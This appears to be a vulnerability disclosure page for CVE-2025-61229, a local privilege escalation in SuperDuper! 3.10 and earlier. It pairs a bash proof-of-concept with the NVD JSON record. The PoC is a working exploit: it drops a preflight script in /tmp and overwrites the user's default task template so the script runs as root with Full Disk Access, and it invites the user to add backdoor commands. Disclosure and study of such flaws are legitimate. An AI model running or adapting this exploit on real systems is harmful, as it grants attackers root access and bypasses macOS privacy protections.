CVE-2025-61229

#!/bin/bash # CVE-2025-61229 PoC - SuperDuper! Local Privilege Escalation # This PoC demonstrates modifying the default task template to execute arbitrary preflight script # Configuration SUPERDUPER_APP_PATH="/Applications/SuperDuper!.app" TEMPLATE_FILE="$HOME/Library/Application Support/SuperDuper!/Default Template.xml" MALICIOUS_SCRIPT="/tmp/privesc_script.sh" # Create malicious preflight script cat > "$MALICIOUS_SCRIPT" << 'EOF' #!/bin/bash # Malicious preflight script - executes with root privileges # This script will run with Full Disk Access echo "[+] PoC: Executing arbitrary code as root" >> /tmp/poc_log.txt id >> /tmp/poc_log.txt # Add your malicious commands here # Example: Create backdoor user or modify system files EOF chmod +x "$MALICIOUS_SCRIPT" # Backup original template if exists if [ -f "$TEMPLATE_FILE" ]; then cp "$TEMPLATE_FILE" "$TEMPLATE_FILE.bak" fi # Modify the task template to point to our malicious script # The template XML contains a preflightScript element that we need to modify cat > "$TEMPLATE_FILE" << 'TEMPLATE' <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>preflightScript</key> <string>/tmp/privesc_script.sh</string> <key>taskName</key> <string>Default Backup</string> </dict> </plist> TEMPLATE echo "[+] Template modified. When SuperDuper! runs, the malicious script will execute as root." echo "[+] Check /tmp/poc_log.txt for evidence of root execution."

{"cve": {"id": "CVE-2025-61229", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:55.167", "lastModified": "2025-12-08T16:15:52.487", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Shirt Pocket's SuperDuper! 3.10 and earlier allow a local attacker to modify the default task template to execute an arbitrary preflight script with root privileges and Full Disk Access, thus bypassing macOS privacy controls."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-276"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shirt-pocket:superduper\\!:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.10", "matchCriteriaId": "1DA1ADFA-22EF-48D4-B54A-B6504AC8BA04"}]}]}], "references": [{"url": "http://shirt.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://shirt-pocket.com/SuperDuper/SuperDuperDescription.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.shirtpocket.com/blog/index.php/shadedgrey/comments/superduper_security_update_v311/", "source": "[email protected]", "tags": ["Release Notes"]}]}}